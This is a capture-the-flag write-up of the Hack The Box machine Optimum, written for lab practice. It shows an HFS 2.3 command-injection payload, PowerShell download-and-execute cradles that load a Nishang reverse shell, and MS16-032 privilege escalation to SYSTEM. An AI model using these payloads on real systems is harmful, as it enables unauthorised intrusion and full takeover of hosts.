Hack The Box - Optimum

We are going to pwn Optimum from Hack The Box.

Link : https://www.hackthebox.eu/home/machines/profile/6

Lets Begin with our Initial Nmap Scan.

Nmap Scan Results

80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Only one port is opened which is HTTP

HTTP Enumeration

From the nmap result itself we know that the webpage is HttpFileServer httpd 2.3

When I click the version, It redirects to it official homepage.

Since we know the version I started searching for exploits available for the version and found this


From the above exploit we can do RCE on the url. We can execute it by using /?search=%00{.exec|cmd.} on the url

Now we need to get a reverse shell from this.

I used Nishang

Nishang is a framework of scripts and payloads that enables using PowerShell for offensive security. By using this we can get the shell.

There is a lot of Shell I choosed nishang/Shells/Invoke-PowerShellTcp.ps1 and copied that to my directory.

If we look at the Shell it gives us some of the examples.

PS > Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

I copied one of the example and changed it to my IP and paste it in bottom of the file.

This not only load the module but also the shell give me a callback.

Getting User Shell

We need to start python server inorder to download it to the box. Started my netcat listener too.

Now its time to upload the module to the box

I used Powershell to do that

powershell IEX(New-Object Net.WebClient).downloadString('')

I added the location of the powershell.exe in windows along with the command and we already know for RCE.

/?search=%00{.exec|c:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('').}

With URL encoded I passed it to burp.

Status 200 means it successfully downloaded to the box.

At the sametime I got the shell in nc listener

Privilege Escalation

Once I got a shell the first thing I check is systeminfo

I found some Hotfix's

A hotfix or quick-fix engineering update is a single, cumulative package that includes information that is used to address a problem in a software product.

So we can use Sherlock to find the missing patches which will help us to Privilege Escalation.

Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.


So we need to Find AllVulns Copy that and paste it in the bottom of the file as we did before.

Our python server is already ON so we can download it in the box. No need to represent powershell(PS) because we already in a powershell.

IEX(New-Object Net.WebClient).downloadString(‘’)

Once its executed it displays the output.

Only these are appears to be vulnerable.

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
VulnStatus : Appears Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
VulnStatus : Appears Vulnerable

So I started from the first one which is MS16-032. The Powershell Empire have an exploit for this.

Its located in /data/module_source/privesc/Invoke-MS16032.ps1

If we look at the script it gives the example of how it need to run.


        C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"

Invoke-MS16032.ps1 Copy the example and paste it in the bottom of the file with changes. I copied the sameInvoke-PowerShellTcp.ps1 which we use to get initial shell as root.ps1 to give us another reverse shell.

Note: Invoke-MS16032 must be as same as in the top of the script.


On the box:

IEX(New-Object Net.WebClient).downloadString(‘’)

We are System!!

Method II (Using Metasploit)


use exploit/windows/http/rejetto_hfs_exec


For privilege escalation, background the session and start local_exploit_suggester

We already know its vulnerable to ms16_032, So I used that exploit

We got authority\system !!